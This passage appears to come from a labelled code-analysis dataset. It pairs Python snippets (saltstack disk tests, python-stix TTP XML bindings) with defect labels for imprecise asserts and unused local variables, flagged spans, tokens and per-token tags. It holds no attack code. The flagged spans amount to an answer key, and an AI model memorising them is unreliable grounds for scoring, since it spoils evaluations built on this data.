" ", "musc", "le", " ", "alignme", "nt", ":", " ", "%", "s", "\"_", "%_", "musc", "le", "\\u", "cl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "outf", "mt_", "==_", "\"", "fasta", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "alignment_", "._", "format_", "(_", "\"", "fasta", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "outf", "mt_", "==_", "\"", "clust", "al", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
saltstack/salt/tests/integration/modules/disk.py
[ { "content": " def test_usage(self):\n '''\n disk.usage\n '''\n ret = self.run_function('disk.usage')\n self.assertTrue(isinstance(ret, dict))\n if not isinstance(ret, dict):\n return\n if salt.utils.is_darwin():\n for key, val in six.iteritems(ret):\n self.assertTrue('filesystem' in val)\n self.assertTrue('512-blocks' in val)\n self.assertTrue('used' in val)\n self.assertTrue('available' in val)\n self.assertTrue('capacity' in val)\n self.assertTrue('iused' in val)\n self.assertTrue('ifree' in val)\n self.assertTrue('%iused' in val)\n else:\n for key, val in six.iteritems(ret):\n self.assertTrue('filesystem' in val)\n self.assertTrue('1K-blocks' in val)\n self.assertTrue('used' in val)\n self.assertTrue('available' in val)\n self.assertTrue('capacity' in val)", "metadata": "root.DiskModuleTest.test_usage", "header": "['class', 'DiskModuleTest', '(', 'integration', '.', 'ModuleCase', ')', ':', '___EOS___']", "index": 47 }, { "content": " def test_inodeusage(self):\n '''\n disk.inodeusage\n '''\n ret = self.run_function('disk.inodeusage')\n self.assertTrue(isinstance(ret, dict))\n if not isinstance(ret, dict):\n return\n for key, val in six.iteritems(ret):\n self.assertTrue('inodes' in val)\n self.assertTrue('used' in val)\n self.assertTrue('free' in val)\n self.assertTrue('use' in val)\n self.assertTrue('filesystem' in val)", "metadata": "root.DiskModuleTest.test_inodeusage", "header": "['class', 'DiskModuleTest', '(', 'integration', '.', 'ModuleCase', ')', ':', '___EOS___']", "index": 73 } ]
[ { "span": "self.assertTrue('filesystem' in val)", "start_line": 57, "start_column": 16, "end_line": 57, "end_column": 52 }, { "span": "self.assertTrue('512-blocks' in val)", "start_line": 58, "start_column": 16, "end_line": 58, "end_column": 52 }, { "span": "self.assertTrue('used' in val)", "start_line": 59, "start_column": 16, "end_line": 59, "end_column": 46 }, { "span": "self.assertTrue('available' in val)", "start_line": 60, "start_column": 16, "end_line": 60, "end_column": 51 }, { "span": "self.assertTrue('capacity' in val)", "start_line": 61, "start_column": 16, "end_line": 61, "end_column": 50 }, { "span": "self.assertTrue('iused' in val)", "start_line": 62, "start_column": 16, "end_line": 62, "end_column": 47 }, { "span": "self.assertTrue('ifree' in val)", "start_line": 63, "start_column": 16, "end_line": 63, "end_column": 47 }, { "span": "self.assertTrue('%iused' in val)", "start_line": 64, "start_column": 16, "end_line": 64, "end_column": 48 }, { "span": "self.assertTrue('filesystem' in val)", "start_line": 67, "start_column": 16, "end_line": 67, "end_column": 52 }, { "span": "self.assertTrue('1K-blocks' in val)", "start_line": 68, "start_column": 16, "end_line": 68, "end_column": 51 }, { "span": "self.assertTrue('used' in val)", "start_line": 69, "start_column": 16, "end_line": 69, "end_column": 46 }, { "span": "self.assertTrue('available' in val)", "start_line": 70, "start_column": 16, "end_line": 70, "end_column": 51 }, { "span": "self.assertTrue('capacity' in val)", "start_line": 71, "start_column": 16, "end_line": 71, "end_column": 50 }, { "span": "self.assertTrue('inodes' in val)", "start_line": 82, "start_column": 12, "end_line": 82, "end_column": 44 }, { "span": "self.assertTrue('used' in val)", "start_line": 83, "start_column": 12, "end_line": 83, "end_column": 42 }, { "span": "self.assertTrue('free' in val)", "start_line": 84, "start_column": 12, "end_line": 84, "end_column": 42 }, { "span": "self.assertTrue('use' in val)", "start_line": 85, "start_column": 12, "end_line": 85, "end_column": 41 }, { "span": "self.assertTrue('filesystem' in val)", "start_line": 86, "start_column": 12, "end_line": 86, "end_column": 48 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Disk", "Modul", "e", "Test_", "(_", "integration_", "._", "Modul", "e", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "usage_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "disk", ".", "usage", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "run", "\\u", "function_", "(_", "'", "disk", ".", "usage", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "ret_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "ret_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "salt_", "._", "utils_", "._", "is", "\\u", "dar", "win_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "val_", "in_", "six_", "._", "iteritems_", "(_", "ret_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "filesystem", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "512", "-", "blocks", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "used", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "avail", "able", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "capacit", "y", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "ius", "ed", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "if", "ree", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'%", "ius", "ed", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "val_", "in_", "six_", "._", "iteritems_", "(_", "ret_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "filesystem", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "1", "K", "-", "blocks", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "used", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "avail", "able", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "capacit", "y", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Disk", "Modul", "e", "Test_", "(_", "integration_", "._", "Modul", "e", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "inode", "usage_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "disk", ".", "inode", "usage", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "run", "\\u", "function_", "(_", "'", "disk", ".", "inode", "usage", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "ret_", ",_", "dict_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "ret_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", ",_", "val_", "in_", "six_", "._", "iteritems_", "(_", "ret_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "inode", "s", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "used", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "free", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "use", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "filesystem", "'_", "in_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
STIXProject/python-stix/stix/bindings/ttp.py
[ { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='ToolsType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Tool_ in self.Tool:\n Tool_.export(lwrite, level, nsmap, namespace_, name_='Tool', pretty_print=pretty_print)", "metadata": "root.ToolsType.exportChildren", "header": "['class', 'ToolsType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 623 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='ExploitsType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Exploit_ in self.Exploit:\n Exploit_.export(lwrite, level, nsmap, namespace_, name_='Exploit', pretty_print=pretty_print)", "metadata": "root.ExploitsType.exportChildren", "header": "['class', 'ExploitsType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 688 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='MalwareType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Malware_Instance_ in self.Malware_Instance:\n Malware_Instance_.export(lwrite, level, nsmap, namespace_, name_='Malware_Instance', pretty_print=pretty_print)", "metadata": "root.MalwareType.exportChildren", "header": "['class', 'MalwareType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 753 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='AttackPatternsType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Attack_Pattern_ in self.Attack_Pattern:\n Attack_Pattern_.export(lwrite, level, nsmap, namespace_, name_='Attack_Pattern', pretty_print=pretty_print)", "metadata": "root.AttackPatternsType.exportChildren", "header": "['class', 'AttackPatternsType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 819 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='ResourceType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Tools is not None:\n self.Tools.export(lwrite, level, nsmap, namespace_, name_='Tools', pretty_print=pretty_print)\n if self.Infrastructure is not None:\n self.Infrastructure.export(lwrite, level, nsmap, namespace_, name_='Infrastructure', pretty_print=pretty_print)\n if self.Personas is not None:\n self.Personas.export(lwrite, level, nsmap, namespace_, name_='Personas', pretty_print=pretty_print)", "metadata": "root.ResourceType.exportChildren", "header": "['class', 'ResourceType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 888 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='PersonasType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Persona_ in self.Persona:\n Persona_.export(lwrite, level, nsmap, namespace_, name_='Persona', pretty_print=pretty_print)", "metadata": "root.PersonasType.exportChildren", "header": "['class', 'PersonasType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 965 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='BehaviorType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Attack_Patterns is not None:\n self.Attack_Patterns.export(lwrite, level, nsmap, namespace_, name_='Attack_Patterns', pretty_print=pretty_print)\n if self.Malware is not None:\n self.Malware.export(lwrite, level, nsmap, namespace_, name_='Malware', pretty_print=pretty_print)\n if self.Exploits is not None:\n self.Exploits.export(lwrite, level, nsmap, namespace_, name_='Exploits', pretty_print=pretty_print)", "metadata": "root.BehaviorType.exportChildren", "header": "['class', 'BehaviorType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1034 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='VictimTargetingType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Identity is not None:\n self.Identity.export(lwrite, level, nsmap, namespace_, name_='Identity', pretty_print=pretty_print)\n for Targeted_Systems_ in self.Targeted_Systems:\n Targeted_Systems_.export(lwrite, level, nsmap, namespace_, name_='Targeted_Systems', pretty_print=pretty_print)\n for Targeted_Information_ in self.Targeted_Information:\n Targeted_Information_.export(lwrite, level, nsmap, namespace_, name_='Targeted_Information', pretty_print=pretty_print)\n if self.Targeted_Technical_Details is not None:\n self.Targeted_Technical_Details.export(lwrite, level, \"%s:\" % (nsmap[namespace_]), name_='Targeted_Technical_Details', pretty_print=pretty_print)", "metadata": "root.VictimTargetingType.exportChildren", "header": "['class', 'VictimTargetingType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1128 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='RelatedTTPsType', fromsubclass_=False, pretty_print=True):\n super(RelatedTTPsType, self).exportChildren(lwrite, level, nsmap, namespace_, name_, True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Related_TTP_ in self.Related_TTP:\n Related_TTP_.export(lwrite, level, nsmap, namespace_, name_='Related_TTP', pretty_print=pretty_print)", "metadata": "root.RelatedTTPsType.exportChildren", "header": "['class', 'RelatedTTPsType', '(', 'stix_common_binding', '.', 'GenericRelationshipListType', ')', ':', '___EOS___']", "index": 1215 }, { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='ExploitTargetsType', fromsubclass_=False, pretty_print=True):\n super(ExploitTargetsType, self).exportChildren(lwrite, level, nsmap, namespace_, name_, fromsubclass_=True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Exploit_Target_ in self.Exploit_Target:\n Exploit_Target_.export(lwrite, level, nsmap, namespace_, name_='Exploit_Target', pretty_print=pretty_print)", "metadata": "root.ExploitTargetsType.exportChildren", "header": "['class', 'ExploitTargetsType', '(', 'stix_common_binding', '.', 'GenericRelationshipListType', ')', ':', '___EOS___']", "index": 1522 }, { "content": "def parse(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'TTP'\n rootClass = TTPType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n # sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n # rootObj.export(sys.stdout, 0, name_=rootTag,\n # namespacedef_='',\n # pretty_print=True)\n return rootObj", "metadata": "root.parse", "header": "['module', '___EOS___']", "index": 1564 }, { "content": "def parseEtree(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'TTP'\n rootClass = TTPType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n rootElement = rootObj.to_etree(None, name_=rootTag)\n content = etree_.tostring(rootElement, pretty_print=True,\n xml_declaration=True, encoding=\"utf-8\")\n sys.stdout.write(content)\n sys.stdout.write('\\n')\n return rootObj, rootElement", "metadata": "root.parseEtree", "header": "['module', '___EOS___']", "index": 1581 }, { "content": "def parseString(inString):\n from StringIO import StringIO\n doc = parsexml_(StringIO(inString))\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'TTP'\n rootClass = TTPType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n # sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n # rootObj.export(sys.stdout, 0, name_=\"TTP\",\n # namespacedef_='')\n return rootObj", "metadata": "root.parseString", "header": "['module', '___EOS___']", "index": 1599 } ]
[ { "span": "eol_ ", "start_line": 625, "start_column": 12, "end_line": 625, "end_column": 16 }, { "span": "eol_ ", "start_line": 627, "start_column": 12, "end_line": 627, "end_column": 16 }, { "span": "eol_ ", "start_line": 690, "start_column": 12, "end_line": 690, "end_column": 16 }, { "span": "eol_ ", "start_line": 692, "start_column": 12, "end_line": 692, "end_column": 16 }, { "span": "eol_ ", "start_line": 755, "start_column": 12, "end_line": 755, "end_column": 16 }, { "span": "eol_ ", "start_line": 757, "start_column": 12, "end_line": 757, "end_column": 16 }, { "span": "eol_ ", "start_line": 821, "start_column": 12, "end_line": 821, "end_column": 16 }, { "span": "eol_ ", "start_line": 823, "start_column": 12, "end_line": 823, "end_column": 16 }, { "span": "eol_ ", "start_line": 890, "start_column": 12, "end_line": 890, "end_column": 16 }, { "span": "eol_ ", "start_line": 892, "start_column": 12, "end_line": 892, "end_column": 16 }, { "span": "eol_ ", "start_line": 967, "start_column": 12, "end_line": 967, "end_column": 16 }, { "span": "eol_ ", "start_line": 969, "start_column": 12, "end_line": 969, "end_column": 16 }, { "span": "eol_ ", "start_line": 1036, "start_column": 12, "end_line": 1036, "end_column": 16 }, { "span": "eol_ ", "start_line": 1038, "start_column": 12, "end_line": 1038, "end_column": 16 }, { "span": "eol_ ", "start_line": 1130, "start_column": 12, "end_line": 1130, "end_column": 16 }, { "span": "eol_ ", "start_line": 1132, "start_column": 12, "end_line": 1132, "end_column": 16 }, { "span": "eol_ ", "start_line": 1218, "start_column": 12, "end_line": 1218, "end_column": 16 }, { "span": "eol_ ", "start_line": 1220, "start_column": 12, "end_line": 1220, "end_column": 16 }, { "span": "eol_ ", "start_line": 1525, "start_column": 12, "end_line": 1525, "end_column": 16 }, { "span": "eol_ ", "start_line": 1527, "start_column": 12, "end_line": 1527, "end_column": 16 }, { "span": "rootTag ", "start_line": 1569, "start_column": 8, "end_line": 1569, "end_column": 15 }, { "span": "doc ", "start_line": 1574, "start_column": 4, "end_line": 1574, "end_column": 7 }, { "span": "doc ", "start_line": 1591, "start_column": 4, "end_line": 1591, "end_column": 7 }, { "span": "rootTag ", "start_line": 1605, "start_column": 8, "end_line": 1605, "end_column": 15 }, { "span": "doc ", "start_line": 1610, "start_column": 4, "end_line": 1610, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Tool", "s", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Tool", "s", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Tool", "\\u_", "in_", "self_", "._", "Tool_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Tool", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Tool", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Explo", "its", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Explo", "its", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Explo", "it", "\\u_", "in_", "self_", "._", "Explo", "it_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Explo", "it", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Explo", "it", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mal", "ware", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Mal", "ware", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Mal", "ware", "\\u", "Insta", "nce", "\\u_", "in_", "self_", "._", "Mal", "ware", "\\u", "Instance_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Mal", "ware", "\\u", "Insta", "nce", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Mal", "ware", "\\u", "Insta", "nce", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Attack", "Patterns", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Attack", "Patterns", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", 